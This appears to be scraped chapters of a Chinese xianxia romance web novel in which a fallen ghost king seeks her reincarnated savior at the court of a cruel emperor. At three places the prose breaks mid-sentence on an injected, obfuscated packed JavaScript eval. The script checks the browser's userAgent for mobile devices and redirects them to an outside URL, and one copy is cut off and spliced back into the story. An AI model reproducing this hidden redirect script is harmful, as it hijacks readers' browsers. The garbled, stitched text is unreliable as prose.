苍宁抬头,看见远处悬崖桃花纷纷,再看向手里的桃枝,知晓这是她当年下坠之时,手里紧握的枝叶。 桃枝这家伙,成神之路漫漫兮,可确实有仙缘。 遥远的天际传来渡鸦的叫声。 苍宁深深呼吸。 春寒之时,湿润的空气分外清新。 她把破损的卍象图和桃枝都拢进衣袖,将神刀变作软带缠在腰上。刚走没两步,就瞧见两座石狮子蹲在不该出现的地方。 苍宁熟视无睹,擦身而过,石狮子却扒拉住她的腿,急急说道:“啧,你这是眼睛坏了?没看见本大爷!” “貔大虎,真要论上个辈分,你也得叫我声前辈。” “哼哼,我看你是完全搞错咯,你应该叫我声叔叔才得体。” 苍宁不理会他,抬脚离开。 眼前要走的路忽然变出整整齐齐十二个石狮子,齐齐托住她的脚:“好大人,咱们好歹结结账。” “梦里不是结过了?” “一码归一码。”石狮子门眨了眨一点都不可爱的,炯炯有神的大眼睛,“我知道,你金库里有的是金子。我这引路人当得不容易,您好歹报报恩?” “我以为引我的人是晏长书。” “他勉强算是另一个吧。” 苍宁眸中闪过赤青色,十几袋金子咂了貔大虎满头:“赏你了。” 她错身离开。 貔大虎欢天喜地跳了半天,啃了一地石子儿,这才从幻术中逃脱出来:“呸呸呸呸呕——喂!苍宁!我还以为你比梦里更有良心呢!” 苍宁摆了摆手:“我很忙,找人。” “你找晏长书?我可告诉你,你醒醒吧!晏长书是谁?地藏王菩萨破格收来的弟子,天上尊者,他为的是救度众生,才没有真的和你成婚!!” “你讲话不要那么激烈,听着好恼人。地藏王菩萨破格收来的弟子又怎么样,我也是王母娘娘的弟子,他是尊者,我还曾是一界之王呢,我都没嫌弃他。” “啊?你,嫌弃他?你俩不是一路人吧?”貔大虎指指点点道,“我的老天爷,你清醒点!你现在是神界的要犯!通缉犯!你被镇二百年,早有人接替你的职位,你现在是叫天天不应,叫地地不灵,世间没有你的位置了!就算你要去三危山找王母娘娘,那也得小心小心再小心!” 苍宁停下脚步:“今时不同往日,神界要杀我也难。” 貔大虎瞪大眼:“晏长书真把力量都给你了?” 不止是这个。 而是她不在乎什么鬼王不鬼王的了。 逍遥天地便是享清福了,她才不在乎天帝给的职位,天帝给的位置。 “你别得意了。你虽则本体不在此间,却是助我出塔的从犯。你且去神界打探打探,回来给你三倍金。” “当真?!” “我改邪归正了,什么时候说过假话。” “呃……” “不过,若是你带回假消息,或是骗我……”苍宁笑道,“我会让你坠入地府,永世不得超生。” “什么超生?生二十个算超生吗?” 苍宁眯眸补充:“——不得好死。” “苍宁我去你娘——不是,去你爹——哎呀!气死本大爷了!”貔大虎气鼓鼓,骂骂咧咧,“这个世界上应该颁发《瑞兽法》!虐待瑞兽一辈子没金子!下辈子也没有!永生永世都富不起来!!” 貔大虎气得石头直掉,弹跳离去。 这诅咒挺恶毒。 幻术散去,苍宁捏了个诀儿,使一枚草叶急速跟上貔大虎,夹在他的石头缝里。 能从卍象图中全身而退,能是什么简单角色? 随后,苍宁倚靠在镇神塔旁边,将塔的碎片缩小丢进袖中。花神的残魄还在其中。 另外,司命星君的神识,想必已经从神界苏醒。 苍宁丝毫不怕天帝,正如她所说,她攫取了晏长书的力量,早已今时不同往日。更何况,她也不是那个坠入 她抚过自己的眼睛。 提及报恩,她要感谢的人可太多了。 晏长书是大功臣,的确得还个人情。 不过仔细一想,她竟然真的有这种幻想。 苍宁轻笑一声。 肖想尊者这件事不犯法吧? 哪怕在现实中,晏长书与她并未成婚,至少晏长书也回吻她了。 他是主动的。 等等。 苍宁手一僵。 不会那也是幻想吧? - 一碗葱油面。二两黄酒。 葱油喷香,黄酒滚烫。 苍宁慢吞吞地吃,听见一旁有人嘀咕: “招摇山起了眼色诡异的林火,恐是山神责难。” 赤青色很诡异吗? “山里破塔忽然消失,确实有点诡异。” 苍宁袖子里丁零当啷,藏着他们口中的东西。 吃完后,说是需付文钱,苍宁找不开,随手掏了块金子,丢在桌上,转身去了西天。 要说起来,地藏王菩萨也算是她的同事。 但是他却不待在地府之中,而是四处游历,随处度化众生。苍宁贸然回到地府有风险,想要知道他的消息,恐怕只有上西天探探才行。 白云渺渺,佛音澹澹。 西天上金碧辉煌,庙宇比神界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030023|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更甚。 苍宁刚转入佛寺之中,拉住一个宝冠璎珞庄严,敞着肩膀的罗汉,还来不及说话,那罗汉慈眉善目道:“大人是来安置长书尊者?” “我……” 不等苍宁细说,他已然知晓她是谁,她的目的是什么。 苍宁有些惊讶。 罗汉带她去往佛宇一角,高台上有一宝珠。他示意道:“可将尊者,放在此中。” 苍宁不再犹豫,拿出袖中的卍象图,镇神塔,丁零当啷铺开,求助道:“我不知道他在哪儿。” 罗汉伸手,示意她站起来,二指停在她双目前。 苍宁感觉双眸倏尔火辣辣,几不能视。 一条小巧蛇影在她眼中的卍字,跟着罗汉指尖引力温柔拉扯出来。 两眼短暂漆黑过后,苍宁逐渐恢复视力清明。 宝珠中正蜷着小蛇身影。 问题是,小蛇吐着舌头,翻着肚皮。 苍宁大吃一惊道:“死……死了?!” 罗汉双手合十:“请大人伸手。” 苍宁触碰宝珠,纯净佛光外包裹着一层透明的结界,原来这并不是宝珠,而是徒手捏出来的小世界。 她轻点小蛇脑袋,细致的磨蹭,小蛇渐渐回过神来,翻过肚皮,缓慢地脱离假死状态。 他好奇地扬起脑袋,吐着蛇信,豆大的小眼睛瞅着苍宁。 他没撒谎,他是真的,而且,看上去还算健康。 “你好啊,晏长书。” 苍宁忍不住笑起来。 “现在我们算是真的见面了。” 小蛇认真地瞅着她,从她的手指游弋到她的手腕间。 他似乎在看什么,在闻什么。 罗汉问道:“大人加持尊者愿力在身,眼下去往何处?” “虽则天地无处去,却也无处不可去。”苍宁说,“上可杀天帝老儿,下可引鬼界大乱。” 啪嗒一口,小蛇咬在她的手腕上。 嘶—— 苍宁暗自喊疼。 这条坏蛇! 罗汉笑道:“看来尊者有不同见解。” 晏长书不同意又如何? 他现在只是一条小蛇! 什么都做不了!什么都做不了! 只能被她搓圆揉扁! 苍宁狠狠地捏了捏蛇尾巴。 他呆了呆,缠到苍宁手上。明明没有任何表情,莫名看上去有点羞涩。 “不知晏长书何时能恢复?” 罗汉手持宝珠,笑意吟吟。 “尊者虽蛇性凶狠,但勤奋有慧根。万年来,日日修行,一日不肯落下。如此方能压下蛇之本性。不过,许是因果之缘,他修行圆满后,就遇上了大人。” “您是说……”苍宁皱眉,“我是他的第一次……?” 不是,听起来有点怪。 “……第一个?” “当时,大人正为无权判定一名叫做李漱的女郎的命运而失神,此乃鬼气失衡的最后一环。大人神乱意迷,而这便是尊者修行圆满后,行游救度众生的第一桩事。”罗汉道,“万年修为,着实不易。大人愿意将其愿力归还么?” 苍宁滞了滞。 罗汉看出她的犹豫:“不管大人是否愿意,这都是尊者的业果。” 如此说来,这的确不是一桩小小的人情。 “那……他得再修行万年?” “根基尚在,何需万年?”罗汉道,“因果到此,大人可不续。” 苍宁蹙眉:“他于我有恩在前,如何谈得上结束了因果?我的生命漫长,他必然如此,我和他怎会毫无交集?” 罗汉浅笑,并不回答。 片刻,他化出真身,持宝珠离去。 原不是什么罗汉,正是地藏王菩萨。 苍宁百感交集,怅然若失。 西天上,梵音平静。 晏长书的身影,再没看见了。 30. 第一世·一 苍宁一路打听,找到晏长书曾在西天上的住所。 有个六七岁的小罗汉正在门前扫地,神情自若。 苍宁吸纳了晏长书的力量,自是什么佛光都不怕,也不怕别人认出她体内的鬼气。 不过她是女子,生得娇媚动人,难免与氛围格格不入些。 她凑上前去,小罗汉红了脸,慌忙往后一退,嘴里念叨着佛经。 她问道:“小和尚,你认识晏长书吗?” “长书尊者?自然认识的。”小罗汉恍然大悟,莞尔道,“您就是苍宁大人吧。” 认识? 认识就好办多了。 小罗汉单纯可爱,如实说明。 原来地藏王菩萨早已知晓今日业果,早早在此等候爱徒。为修行得愿,晏长书需前往人间,行三世轮回之苦,再行救度众生之业。 “那我呢?” “大人?大人和尊者此番因果已了。若说大人本身的话,孽缘诸多,自身还有许多事尚未了结呢。” 这……的确。可是她可不在乎哪天杀天帝,她只在乎天帝有一天必死无疑。现在有很多更重要的事情要做。 “我和他完全没了结啊,”苍宁振振有词,“我还没还他的人情呢。” 小罗汉想了想:“大人听说过世尊喂鹰的故事吗?” 佛祖释迦牟尼悟道后,自断臂喂不断攻击鸟群的恶鹰,为了拯救苍生而牺牲自己。此乃无私奉献的大爱。 苍宁说:“你的意思是,我还这个人情,要给晏长书割肉?” “不是啊。我是说,大人是鹰。”小罗汉两眼湛亮,“自舍修为,救度大人。此非小爱,乃大爱无私啊。不愧能以蛇身修得圆满的长书尊者呢。” 苍宁:“……?” 苍宁倍觉无语。 她和鹰都是鸟,没有错。 但是晏长书敢说他一丝真心都没有么? 简直是胡言乱语。 小罗汉羡慕起她有了尊者之卍,说是既能施加幻术,又能扭转时空,那卍象图自然也能修好,再度使用。 等于说,晏长书把自己现在有的,尽数都给了她。 苍宁趁机询问了养残魄的方法,将花神养在莲花灯中,让小罗汉日日照拂,说是算得一桩善业。 她又将桃枝插在晏长书门前,助桃枝发芽,长成桃树,助桃枝修炼。 若有缘,时机到时,他们自会修得人形。 小罗汉急了,忙劝道:‘大人,你这是得寸进尺呀。这里是尊者的住所,来日他回来还要住的。大人养这许多人在这里,恐尊者不喜呢。’ “他有什么不喜的?” “这……这是尊者的住所……” “我当然知道这是他的住所,”苍宁感到奇怪,“就是因为是他的地方,我才能安心放在这里啊。桃枝和小花,他都认识。” 等等,这么说来,她是不是又欠晏长书两个小人情? 拉到拉到,本来这人情要还完就很麻烦,多这两小件,少这两小件,也没差别吧。 “大人,尊者喜静。不喜欢外人打扰。” “他喜静,但他也喜欢我。我不算他的外人。” 小罗汉瞪大眼睛,不敢置信。 “不是外人……?” 她与幻梦中,那个虚假的鬼王晏长书,曾有一段婚约。 虽然是假的,但是感受是真的。 “算是夫妻关系?他不应该生我的气。要是他生气的话……那就让他生气好了。”苍宁无所谓地耸耸肩,拍他的肩膀。 小罗汉呆呆点头,看她手腕的两个血印子,更呆了。 “小和尚,你偷偷告诉我,菩萨要让他去哪儿?” 小罗汉嗡得一下,打破了什么认知似的,指着她手腕上的痕迹,喃喃道: “大人应当能感受的到。尊者他……他下了印呢。” 苍宁低头,总觉得他眼睛里冒着几个字。 私相授受。 苍宁最后问道:“你告诉我,我要如何助晏长书修行?” - 人间尚是春月。杏花吹满头。 苍宁找到晏长书所在处时,已是三日后。 期间,她多次寻探貔大虎身上那枚草叶,却始终没有结果。 三界毫无动静,没有传出任何消息。苍宁逍遥自在,以不变应万变。 她站在高处,看王城中骑马而来的男子,捻下发上的杏花。 王城中传闻,当今陛下高珣垂耳重瞳,乃神人转世。 他身材高大,戴着黄金面具,拇指上有卍字扳指,确实同卍象图幻梦里晏长书,极为相似。 苍宁不想对人类随意使用幻术。 要想进王宫打探打探,有个现成的身份最是方便。 晚间,王宫设宴,舞女献艺,一位叫做绮怜的女郎媚眼如丝,颇得高珣喜爱,当晚便召上龙床侍寝,封为绮美人。 可怜荣宠不过当晚,便被赐予极刑。 高珣看见美人垂死之姿,后悔不已,兴致更甚从前,怀抱美人再赴春宵。 他令宫人唤来道士,欲施起死回生之术,道士自然做不到。 可皇权在上,哪容拒绝。道士汗颜施法,苍宁看见绮怜魂魄被召回,忙伸手揽过来,欲与她成一笔交易。 绮怜两眼含泪,苍宁拍肩安抚,说只需借出□□,她必公正判决,让绮怜有个好转世。 “你是哪来的道士?” “我不是道士,我是鬼界之王。” “呸,我都死到坟头草冒半截了,还有你这种人来哄骗我!” “我不说假话。你愿意帮就帮,不愿意的话,我另找她魂便是。反正你已经死了。” “欸等等,”绮怜抓住她的袖子,“你这什么路数,你找我交易,好歹证明一下啊。” 苍宁冷道:“绮怜,十七岁,中原人,八字极阴极煞。家住旗山脚第六棵大树旁,父死,弟死,曾与隔壁村秀才订了婚约,秀才死。” 绮怜尴尬得打断她:“好了神仙,我信了我信了。若我同意,可否让我下辈子有个宰相父亲,一个状元儿子,当上王妃,一辈子无病无灾,享尽荣华富贵,安然死去?” 苍宁盯了她半晌,冷笑道:“若有这样的好事,你来当我这鬼王,我去转你的下一世好了。” 苍宁作势要走,绮怜再抓住她:“我答应,我答应!好大人,让我再活一回吧!” 再活一回是不可能,但是扣住她的魂魄不被鬼界捉走,还是小菜一碟。 苍宁和她定下约定。 平日里若有需求,苍宁会入她的身,以绮怜的身份行走于世间。作为报酬,苍宁会依照她此生,为她尽量寻个好来世。 “高珣有何喜好?” “但陛下他……嗯……暴戾易怒,实在是难以捉摸。” 绮怜说得不假。 若不是高珣手上那枚卍字戒,她压根儿想不到,这个疯子会是晏长书。 之前她在卍象图里日日夜夜想着劝晏长书仁义礼智信,没想到记忆里那个暴戾鬼王竟是她自己。 现下,晏长书鬼是真的残暴而无礼。 简直令鸟发指。 道士毫无意义的跳大神结束,绮怜仍是不醒。 高珣戴着面具,肆意倚在绮怜尸身旁,用沾着酒水的苍白手指拍她的脸,叹惋道: “美人啊,多可怜。” 他仰头喝酒,狠狠踹了道士一脚,带着醉意,恣肆道:“传国师。” 他话音未落,宫人讷讷躬身道:“陛下,国师身体不适……” “死了不来便不来了,身体不适,就是没死。传他来!” 宫人颤抖着退下。 绮怜揪住苍宁袖子:“呜呜神仙,我害怕我害怕……陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苍宁嘴角一抽,干巴巴地蹭上去,酝酿了半天,仍然说不出口:“陛、陛下,陛下英勇神武。” 高珣饶有兴致地盯了她半晌,确认她确实是死而复生,喜悦之情溢于言表,站起来,张开双臂,张狂大笑道:“好!好!好!天助孤也!” 高珣伸手,苍宁尬笑着把戏做到底,倚在高珣怀中,学着绮怜说道:“陛下乃神人降世,陛下就是万民的天。” 正待此时,门外传来宫人通报的声音。 是国师来了。 高珣将苍宁打横抱起,靠在一地鲜血中,抚过绮怜肉身,掐出一道道红印。 夜风传来血腥气。 苍宁看向门外,一根瘦削长指撩开帘幔,露出无暇的半张脸。 轮椅缓缓推进屋内。 国师身着素衣,穿得单薄,一张面庞苍白似玉人般,像是感知不到冷暖。 黑眸如星,唇色浅淡。煌煌有光,如圭如璋。 苍宁看呆了。 这活脱脱长大版晏长书嘛! 他虽苍白,但简直漂亮得不像话! 苍宁眨着眼睛恨不得长出千手百眼,晏长书神色淡然,一眼不瞧她。 苍宁就说,晏长书怎么会来当暴君嘛。 哈哈。 不过,她算是找错人了。 完全找错了。 错得离谱至极。 “国师生得好看,连孤的宠妾都迷了去。只可惜,国师不近女色,小东西要失望了。”高珣笑得阴冷,扭过苍宁的脸。 绮怜露出不妙的神情,劝道:“神仙,快说你觉得国师不及陛下一根毛啊!” 这怎么可能? 晏长书要比高珣好看多了。 苍宁眼波流转,回到高珣面上。 她笑道:“奴婢心里头只有陛下的~只是,奴婢觉得,国师长得很像一位故人呢。” “哦?” “可惜,昔人已乘黄鹤去。提那些多没意思。”她说,“奴婢有了陛下,才能乘鸾归来呢。” 31. 第一世·二 宠妾难当。 若仅凭美色便能当道,绮怜便不会死得如此凄惨。 高珣是个难对付的,绮怜不是个例。 他性格残忍,偏爱玩弄女人,将她们拱到众星捧月的地位,再一举将她们的希望歼灭,欣赏她们跪地求饶的模样。 他会剥出死去宠妾的琵琶骨,边弹边哀戚,感叹春色不再。又跪地大哭,可怜女人性命不再,希望神明将她救活。 “陛下与国师不和,曾在国师面前咽下那些宠妾的肉。”绮怜打了个哆嗦。 “那你为何还来当他的宠妾?” 绮怜努努嘴飘来飘去:“谁不想要醒来躺在丝绸床上,□□粮,喝美酒?凭什么活该我就要穷,我有什么错?” “所以你死了。” “搏一搏,搏输了罢了。他是人上人,我是人下人,死了我一个,还有多少个在大殿外等着呢。算我倒霉,我命不好,就变成我自找苦吃。若我生来便是富贵人家,还搏这些东西做什么?我做什么都会有人给我找理由,老天都会给我找理由的。” 绮怜飘在房顶上,从梁上往下看她:“神仙,你莫不是喜欢国师才来的?” 苍宁说:“如何算得上喜欢。” “你看他的时候,眼睛里闪着光。不过我可得好心说一句,国师落了残疾,不是个正常男人。” “这是什么意思?” 绮怜惊讶道:“神仙竟然不知道?陛下是国师的亲弟弟,乃同父异母所出。当年,陛下升祚,将国师腿骨敲断,改为母姓晏氏,幽居在清净寺里。非传召不得出。” 她又道:“国师平日里在寺庙中修行,只有个宫人照管着,生活难以自理。但是他悟性高,能算命,说陛下命止于三十岁。” “高珣现下几岁了?” “二十八九了吧。陛下寻道已久,一直在求长生之法,这回神仙来,陛下大约很是欣喜,才特意喊国师来,觉得自己来日能起死回生,长生不老吧。” 绮怜悄咪咪说道,“据说啊,国师不仅被断腿,还被去势了!依我看啊,神仙还是不要喜欢他了,没结果的。” 苍宁略略张唇:“他心甘情愿?” “这有什么心甘情愿的。”绮怜撇嘴,“难道我生来就穷是因为我心甘情愿?” 是了。这是菩萨给晏长书安排的修业。 化怨气,养和气。渡人渡己,慈悲入定。 佛修最信因果缘,重修心。 晏长书展开卍象图,无疑就是给她充足的时间,改变她的想法。 菩萨说晏长书蛇性凶狠,是知道晏长书将愿力给了她,怕他难压本性,便让他修行。 苍宁非佛修,现在,更被排出神界的道外。哪里忍得住什么修心入定。 她得行动起来。谁压制她,她便反了他。 高珣这个祸害,依她看,杀了最好。 若她来判,定是轮入畜生道。 “神仙,神仙。”绮怜唤回苍宁的思绪,“陛下来了。” 高珣醉醺醺地走入寝殿,衣袖断了一半。 他高呼美人,手中长刀拖地而行,丢给她一个血淋淋的脑袋。 他告诉苍宁,这个宠妾命不好,没能起死回生。只有她独一无二。 苍宁和血淋淋的脑袋对上视线,胸中激起一股愤懑之气。高珣手中血沾到她腰身上,有股令人作呕的味道。 高珣与她调笑,说自己不喜欢娃娃,若是怀了,得流干净。 “孤儿时最喜欢和父皇兄长一起骑马,跟在后头,怎么也跟不上,被马儿一脚弄破了相。”高珣低头,“你好奇吗?” 苍宁摇头。 “你想看吗?你是孤最为宠爱的舞姬,孤让你看。” 苍宁仍是摇头。 高珣笑得阴恻恻:“爱妾见了国师,对孤都没兴致了。” 绮怜在梁上嘶了一声:“神仙,陛下要发疯了。” “爱妾对他念念不忘,孤便唤国师来,成全美人和国师。”高珣朗声道,“来人,传国师!” “陛下——”苍宁道,“何必寻国师来此,打扰了奴婢和陛下的良宵?” 高珣捏住她的头发,咬耳朵道:“打扰?自是助兴了。” 一国主君之言,何人敢不听。 晏长书坐着轮椅来的时候,衣裳有些乱,像是刚从被窝中被人扒出来,套上了衣物。他面色苍白,未及冠,墨发垂淌着,神情冷然。 高珣将她扔到晏长书身上,苍宁扶住晏长书的手臂,身下温凉。晏长书的腿似乎的确没用了。 高珣鬼魅阴森道:“来,孤的好爱妾,今夜孤为你们结秦晋之好,今夜就是你们的良宵。” 晏长书不为高珣之言扰乱,目光没有落在苍宁脸上,仿佛穿过她,穿过这间屋子,看见了外面的星辰和夜云。 苍宁望着他的面容,想起幻梦中在床榻上的亲吻。 暧昧而潮湿,如鱼离不开水。 她的视线从他眉眼到唇中,心道他比十六七岁模样还要诱人。 高珣看见无人动弹,发怒起来,绮怜飘下来给她打气:“神仙,再不亲就要死了!” 苍宁暗中回她:“……不行。” “国师的长相算的是万中取一,有何难的?神仙若不行,我来便是。” “……那更不行。” “那怎么办?我不想被刀捅死啊!” 高珣的刀抵在苍宁身后,苍宁抚过晏长书的脸,心中躁动。 她的手缓缓滑入他的衣襟中,两人离得尤其近。晏长书皱起眉头,偏过头,高珣的刀正好撞在他的脸庞,划出一个月牙状的口子。 鲜红的血从晏长书面上滑落,流到苍宁的手上。 高珣兴奋极了,拉开晏长书的腰带,要苍宁伸手进去:“你喜欢他?孤的好兄长,曾经的太子,现在不过是废人一个!现在他的脸也没了,什么都没了,只有孤拥有一切!” 晏长书不堪其辱,脸色煞白。苍宁反手捉住高珣的手,力气之大,让高珣愣上一愣。 “摸这晦气玩意儿做什么,”她扣住高珣的手,“奴婢只爱陛下。” 高珣笑了笑:“当真?美人不是可怜孤?” “陛下天生贵人,陛下可怜奴婢吧。” 苍宁朝高珣伸出手。 - 高珣不知道,每逢他来,苍宁都会对他用幻术。 苍宁的确不想随意对人类使用幻术,但是高珣压根儿不是人。 晏长书被推回去之后,高珣在梦里和绮怜颠鸾倒凤,她从窗台跃上房檐,绮怜忙飘来:“神仙,你不能去见国师,私通是死罪啊!” “这也不能,那也不能,怎么偏生高珣什么都能。” “他是王嘛……” “这种人能当王,王朝气数已尽。” 绮怜数着手指:“这……总该有个王的,不是高珣,也是刘珣,赵珣。他们的钱怎么都不会到我兜里呀。不说这些钱不钱的,反正现下,神仙是不能去见国师的。” 苍宁说道:“你放心,我自然有不让别人瞧见我的法子。” “那、那我,我能去看看朋友么?” “去吧,天明前要回来。”苍宁叮嘱道:“莫出王城。” - 清净寺里寥寥几盏灯,似星闪。 苍宁想看看晏长书的情况。 她找了好几处佛殿,最后才在东南角一处狭小的厢房中找到他。 这应该是普通宫人的住所,一个经年已久的水桶摆在水池中,擦拭得很干净。 春暖还寒,苍宁用着绮怜的肉身,感觉到有些冷意。 晏长书似乎感觉不到。 他解开衣襟,露出劲瘦的上身,不难看出仍留有锻炼的线条。 他先用池水一点点将自己身上脸上的血都擦干净,随后,又将腰带扯下来,挂在轮椅上,慢慢擦拭双腿。 苍宁站在屋檐,这个位置刚好错位挡住。 她脚下一动,瓦片铛啷一声响,碎了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030025|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晏长书停住手中动作,冷然望向春月下的屋檐。 没有人影,但飘着一束烟粉色的丝带。 这是方才绮美人身上的颜色,活泼娇艳。 不过一瞬间,就被人抽走,像是猫挠线团。 晏长书手里的软布淅淅沥沥滴着水,他换了一块儿干燥的软布,将自己擦干净,穿上衣裳,关了门。 苍宁轻巧落到树上,背靠在窗台一侧。 室内一灯如豆,传来令人安定的焚香气息。 苍宁没忍住,问道:“国师好些了么?” 之前在高珣的闹剧下,苍宁摸到的的确是一片冰凉。想来绮怜告诉她的不是传言。 她知晓苦修难,可这也太难了些。 如果晏长书可以只身入镇神塔救她一命,她来救救晏长书,也没什么不对劲。 算得上报恩。 苍宁等不到晏长书回话,探出半个脑袋去瞧。谁知晏长书正要关窗,夹住了绮怜的头发。 苍宁啊呀一声,抓住他的手:“不能关了,我的头发!” 他忙往后一缩手,皱起眉来,将她头发一绺一绺从夹缝中挑出来。 苍宁见他脸庞深深一道,掩下心中酸涨感,笑道:“刚刚我没想亲你,你别在意。我们都是苦命人,别怪我,怪高珣那个神经病。” 晏长书眼神都没给她一个,只顾着弄头发。好不容易,头发都尽数挑出来了,他回身洗了两遍手,仔仔细细搓干净,方才用软布擦拭掉凉水。 苍宁撇嘴:“你嫌弃我啊。” 晏长书神色冷然,默了半天,只说:“娘娘贵体金身,不宜来此。” 他始终侧身向她,许是顾及男女大防。 苍宁趴在窗台上,觉得好没意思。她遂生一计,说道:“我是不想来的,但是我有个好友,非催着我来。她听闻国师对佛理很有研究,很想拜访,我这才冒险找国师说说。” 他微微抬头,唇角似勾微勾,黑瞳幽深。 苍宁难得心虚地别开眼,望他房里看了一圈。 一张简陋的床,被褥干净整洁。 一张简陋的桌,摆着几卷佛经,粗糙的笔墨纸砚。 一方简陋的柜子,放着些许衣服,过冬的没两件。 他当真不怕冷? 苍宁道:“你这里什么都没有,陛下若不给你药,你就不管你脸上的伤了?” “与娘娘无关。” 苍宁千娇百媚地哦了一声。 晏长书鸦睫一颤。 她又轻似银铃地笑起来。 对晏长书使用这种伎俩,她觉得有趣。 “我知道,国师心地善良,必然是怕陛下怪罪于我。”她委委屈屈道,“我心里很高兴呢。” 说到这里,晏长书转过头,终于正眼瞧了她。 苍宁眸光一闪,眨巴眨巴眼,见他推着轮椅过来,伸出手。 她喜形于色,暗道绮怜教的法子果然对男人适用。 反正只要她有想用和不想用的自由,这就是调戏逗乐罢了。 晏长书扶着窗棂,去拉窗户。 苍宁也扶住了。 晏长书要往里边拉,她就往外边拉,还得小心力气,别把窗户给拧烂了。 “国师——欸!” 晏长书眉眼凌厉,忽然拉上窗,将苍宁无情关在窗外。 苍宁低呼一声:“啊呀。疼,好疼。国师救救我。” 里头的冷声带着凛肃之意: “娘娘,请自重。” 看来装脚崴了一点用也没有。 苍宁站定了,敲敲窗:“那我让我朋友明天来找你哦。” “不必。”晏长书的冷情声从屋内传出来,半晌,门也落了锁。 干什么啊,和防狼一样。 苍宁没好气道:“她叫苍宁。你要记住,可不能赶她走哦。” 里头没有回应声。 “叫苍宁哦。” 屋内灯也灭了。 32. 第一世·三 苍宁回去时,绮怜欢天喜地,似乎遇见了什么好事。 “神仙神仙,我觉得当鬼也挺自在的呢!不吃不喝,也用不上钱~” “暂且用不上罢了,七月七人间难道不烧纸么?” “噢噢……”绮怜见苍宁若有所思,问道,“国师那边可好?” “你对药理可有研究?我想寻几味药。” 绮怜摇头:“神仙啊,我只会跳舞,不会当大夫。” 苍宁和绮怜说,日后她会用本身去寻晏长书,那时,绮怜便回到自己的身体里自由行动,不必担忧私通的罪名。 绮怜咯咯直笑。 “国师真的讨神仙欢心?想来他真有几分妙算。” 晏长书如今是凡人,再如何妙算,也抵不上神明。 她就是想让他好受点,别平白受些令她无言的罪。 “若是当年晏长书升祚,王朝想必有另一番景象。” “这话不兴在宫里说啊,可是要诛九族的!”绮怜大惊,尔后,悄悄试探道:“神仙难道是为了这个来的?” 怎么可能。 苍宁笑笑。国之气数自有诸多位良神商榷。昏君上道,不是巧合。 第二日,她仍旧对高珣使了幻术,化作小宫女的模样,抱着药往清净寺里去。 晏长书穿着一身素色衣裳,边沿洗得发白。 他头上的青玉冠大约也戴了多年,有细微的划痕。 他将自己打理得干干净净,坐在佛殿中,安安静静地看佛经,脸上的伤痕应当是用水处理过,伤口发红,皮肉往外翘。 苍宁歪头往里探。 晏长书咳嗽两声,让她想起在幻梦里最后的时刻,他总在雪天里咳嗽。 苍宁走进去。 他翻页的动作一顿,黑眸沉沉:“出去。” “我是来给你送药的。” 她将药端出来,还热乎。 晏长书垂头看那药汤中漂浮着八角,香叶,桂皮,皱眉拒绝:“不要。” “没有毒。”她自己喝了上一口。难喝!她控制住表情,说道,“你要是不喝,陛下可饶不了我这一条命。” 闻言,他静默数秒,伸手将那药汤一饮而尽。 他没有露出任何不适的表情,连眉毛都没有动一下,只是哑着嗓对她说:“回去交差吧。” 苍宁愣住了。 这碗东西是她从厨房里抱来的,施了术法,叫他喝下便可治愈伤痕。 苍宁想过很多办法,料想应当是磨破嘴皮子才能请动他拿碗,怎知他喝得如此干脆利落。 苍宁问他:“你也常为其他人解忧吗?” 晏长书继续看那页佛经,冷声道:“之前跟在我身边的宫人,都死了。” “你赶我走?” “我帮不了你什么,也没有办法给你什么好处。要找贵人,别处去吧。” 别处?哪儿处? 苍宁把碗放在供台上,重重一搁。 晏长书抬头,见她气得咬牙,皱眉道:“你生什么气?” “找别人做什么?” “你没有其他事做吗?” “我非要找你,晏长书,我找的就是你!” “那你找错人了。” “我哪里有找错人?” 晏长书眸光一厉,缓缓道:“你也是高珣的美人?” 苍宁话到嘴边,差点把自己憋死。 这是她来王宫后,听见过的,最侮辱她人格的一句话。 她冷笑:“之前也有旁的美人来找你?” “你的朋友。” 原来晏长书记得绮怜。 “其他的……” 其他的? 晏长书摇头:“几场闹剧。都被高珣当场杀了。” 苍宁想起高珣将他扔到晏长书身上的时候,许是那种形式的闹剧?她越想越生气,咬牙切齿道:“这高珣真是该死!这种人应当杀了!” 天帝同样也是! 晏长书淡道:“你莫要冲动,得不偿失。” “你怕我死?想要我死的人也许不少呢。我既受不了死,也受不了不生不死。高珣让你过得这样惨,你怎么这般能忍?若是我,我必叫他葬身地府,行百世鞭笞之刑。道是自己挣来的,你怎能忍气吞声,心甘情愿?” 他垂眸,眼中如冰:“残破之躯,无以为继。你能飞檐走壁,无视落锁的清净寺,想来有过人的本事。别在我身上耽搁了。” 他的声音低哑,难免让苍宁想起晏长书之前神采奕奕的模样。 真是的…… 他们不是最爱说些因因果果的么? 因果哪有那么容易断的。 就算断了,她自己的缘,自己的业,自己的道,还不能自己挣来么? 苍宁道:“你就当我是你的因缘。” “……姻缘?”晏长书面色难辨,“我不需要。” “这不是人们最爱说的吗?” “我不要。” “你根本就不知道。我偏要。偏要与你。哼。” 